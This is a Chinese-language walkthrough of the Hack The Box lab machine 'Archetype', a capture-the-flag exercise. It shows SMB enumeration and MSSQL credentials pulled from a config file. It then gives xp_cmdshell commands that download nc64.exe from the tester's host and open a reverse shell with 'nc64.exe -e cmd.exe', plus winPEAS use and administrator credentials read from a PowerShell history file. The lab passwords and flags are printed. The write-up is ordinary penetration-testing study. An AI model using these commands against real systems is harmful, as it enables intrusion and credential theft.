STARTING POINT TIER 2 Archetype

STARTING POINT TIER 2 Archetype

这一关学到了非常多的东西。

端口扫描

首先nmap扫一下,扫出了很多服务。

└─$ sudo nmap -sS -sV -sC [ip-address]
PORT     STATE SERVICE      VERSION
135/tcp  open  msrpc        Microsoft Windows RPC
139/tcp  open  netbios-ssn  Microsoft Windows netbios-ssn
445/tcp  open  microsoft-ds Windows Server 2019 Standard 17763 microsoft-ds
1433/tcp open  ms-sql-s     Microsoft SQL Server 2017 14.00.1000.00; RTM

445端口的microsoft-ds非常熟悉,掏出smbclient

└─$ smbclient -N -L [ip-address]         

        Sharename       Type      Comment
        ---------       ----      -------
        ADMIN$          Disk      Remote Admin
        backups         Disk      
        C$              Disk      Default share
        IPC$            IPC       Remote IPC

先去看一下ADMIN$C$发现都进不去。只有backups可以

└─$ smbclient \\\\[ip-address]\\ADMIN$ -N
tree connect failed: NT_STATUS_ACCESS_DENIED

└─$ smbclient \\\\[ip-address]\\C$ -N
tree connect failed: NT_STATUS_ACCESS_DENIED

└─$ smbclient \\\\[ip-address]\\backups -N
tree connect failed: NT_STATUS_ACCESS_DENIEDsmb: \> dir
  .                                   D        0  Mon Jan 20 20:20:57 2020
  ..                                  D        0  Mon Jan 20 20:20:57 2020
  prod.dtsConfig                     AR      609  Mon Jan 20 20:23:02 2020

连接MSSQL Server

不清楚什么是DTS的话看这里Data Transformation Services,通过维基了解到在后续的版本已经被Microsoft的SQL Server Integration Services替代了。

当然从这里了解到了Microsoft SQL Server,这跟1443端口有关系。

get prod.dtsConfig 关键字搜索发现了用户名和密码Password=M3g4c0rp123;User ID=ARCHETYPE\sql_svc;Initial

然后通过impacet工具包的mssqlclient.py尝试连接。需要提醒的是我们虽然发现的用户名是一个\但是在bash里得换成/不然会连接失败

└─$ mssqlclient.py ARCHETYPE/sql_svc:M3g4c0rp123@[ip-address] -windows-auth
[*] Encryption required, switching to TLS
[*] ENVCHANGE(DATABASE): Old Value: master, New Value: master
[*] ENVCHANGE(LANGUAGE): Old Value: , New Value: us_english
[*] ENVCHANGE(PACKETSIZE): Old Value: 4096, New Value: 16192
[*] INFO(ARCHETYPE): Line 1: Changed database context to 'master'.
[*] INFO(ARCHETYPE): Line 1: Changed language setting to us_english.
[*] ACK: Result: 1 - Microsoft SQL Server (140 3232) 
[!] Press help for extra shell commands
SQL>

#windows-auth : whether or not to use Windows Authentication

遇到不熟悉的先help一下

SQL> help

lcd {path}                 - changes the current local directory to {path}
exit                       - terminates the server process (and this session)
enable_xp_cmdshell         - you know what it means
disable_xp_cmdshell        - you know what it means
xp_cmdshell {cmd}          - executes cmd using xp_cmdshell
sp_start_job {cmd}         - executes cmd using the sql server agent (blind)
! {cmd}                    - executes a local shell cmd

因为没有对应的相关知识,下面都是根据wp来做的。

可以看HackTricks的1433 - Pentesting MSSQL - Microsoft SQL Server简单了解一些利用方式,虽然后来并没有用到里面说的。

而这篇则专门介绍MSSQL的一些命令MSSQL Injection Cheat Sheet

首先我们需要了解我们的权限,通过Cheat Sheet得知SELECT is_srvrolemember('sysadmin');可以查询是否是sys

SQL> SELECT is_srvrolemember('sysadmin');
              
-----------   

          1 

这说明我们是sysadmin,根据上面的help手册的xp_cmdshell {cmd} - executes cmd using xp_cmdshell了解到可以执行cmd。我们可以通过cmd来完成目标。

首先默认xp_cmdshell是关闭的,不过我们仍然可以先xp_cmdshell {cmd}尝试一下,发现没有使用的权限。那么接下来就是赋予权限了

SQL> EXEC sp_configure 'show advanced options', 1; 
[*] INFO(ARCHETYPE): Line 185: Configuration option 'show advanced options' changed from 0 to 1. Run the RECONFIGURE statement to install.
SQL> RECONFIGURE

SQL> EXEC sp_configure 'xp_cmdshell', 1;
[*] INFO(ARCHETYPE): Line 185: Configuration option 'xp_cmdshell' changed from 0 to 1. Run the RECONFIGURE statement to install.
SQL> RECONFIGURE

这里跟wp写的并不一样,wp说并没有激活xp_cmdshell。但是我这里确实是激活了。如果你没有激活的话参照下面

EXEC sp_configure 'show advanced options', 1;
RECONFIGURE;

EXEC sp_configure 'xp_cmdshell', 1;
RECONFIGURE;

然后奇怪的是下面也跟wp出现了分歧。

虽然不懂为啥wp要在这一部分弄一个反向Shell,然而实际上根本不需要。只需要轻松地敲敲cmd就好了。

当然弄一个反向Shell会比较方便一点

反向Shell

我们通过cmd上传需要的文件nc64.exe,但是在此之前我们需要知道我们所在的路径xp_cmdshell "powershell -c pwd"得知我们在C:\Windows\system32目录中,想要在这个目录下上传文件需要Administrator权限,而我们只是一个普通用户archetype\sql_svc,所以选择在Downloaded目录下上传。

 xp_cmdshell "powershell -c cd C:\Users\sql_svc\Downloads; wget http://10.10.16.8/nc64.exe -outfile nc64.exe"

在本地起一个http服务和一个监听

sudo python3 -m http.server 80
sudo nc -lvnp 8000

然后就可以执行cmd.exe

xp_cmdshell "powershell -c cd C:\Users\sql_svc\Downloads; .\nc64.exe -e cmd.exe [ip-address] 8000"

拿到反向Shell后就不用麻烦的敲xp_cmdshell "powershell -c {cmd}"了。

如果你不想弄就按照下面的来

SQL>  xp_cmdshell "powershell -c cd C:\Users\sql_svc\Desktop;ls"
-ar---        2/25/2020   6:37 AM             32 user.txt 

SQL>  xp_cmdshell "type C:\Users\sql_svc\Desktop\user.txt"
3e7b102e78218e935bf3f4951fec21a3 

权限提升

这里了解一下winPEAS是一个在Windows主机上搜索能够权限提升的路径的脚本。

像传nc64.exe那样把winPEAS上传。

powershell wget http://[ip-address]/winPEASx64.exe -outfile winPEASx64.exe

然后运行一下,输出信息非常的多,下面只列出一些必要的信息,搜索关键字PS history fileSeImpersonatePrivilegeSeAssignPrimaryToken

PS C:\Users\sql_svc\Downloads> powershell ./winPEASx64.exe

PS history file: C:\Users\sql_svc\AppData\Roaming\Microsoft\Windows\PowerShell\PSReadLine\ConsoleHost_history.txt

SeAssignPrimaryToken: DISABLED
SeImpersonatePrivilege: SE_PRIVILEGE_ENABLED_BY_DEFAULT, SE_PRIVILEGE_ENA

SeImpersonatePrivilege需要去看Overview of the impersonate a client after authentication and the create global objects security settings

如果我们拥有SeImpersonatePrivilege或者SeAssignPrimaryToken权限的话可以尝试利用JuicyPotato工具。然而根据上面的显示我们并没有,所以把目光转移到ConsoleHost_history.txt上。

ConsoleHost_history.txt这个文件存储着powershell命令使用记录。

根据博客论渗透信息收集的重要性中所说

打点时遇到Windows环境的文件下载漏洞,可下载以下文件(即C:\\Users\\Administrator\\AppData\\Roaming\\Microsoft\\Windows\\PowerShell\\PSReadline\\ConsoleHost_history.txt)进行敏感信息翻阅,某些运维会使用powershell进行管理工作组或域内机器,运气好的可以找到ssh、数据库这类登录密码或其它重要文件,尤其是一些运维用的脚本,里面大多包含主机、数据库登录密码,可通过powershell历史记录找到这些脚本的绝对路径,然后在使用文件下载漏洞进行读取,这也是一个不错的突破点,而且这些历史命令大多包含链接主机信息,可提取里面的IP段,扩宽我们的攻击面。

ConsoleHost_history.txt的路径已经通过winPEAS找出来了

PS C:\Users\sql_svc\AppData\Roaming\Microsoft\Windows\PowerShell\PSReadLine> type ConsoleHost_history.txt
#output
type ConsoleHost_history.txt
net.exe use T: \\Archetype\backups /user:administrator MEGACORP_4dm1n!!
exit

刚刚好出现了管理员的密码MEGACORP_4dm1n!!。我们通过psexec连接即可

└─$ psexec.py administrator:'MEGACORP_4dm1n!!'@[ip-address]

C:\Users\Administrator\Desktop> type root.txt
b91ccec3305e98240082d4474b848528

你可能感兴趣的:(HTB,mssql,winPEAS,权限提升)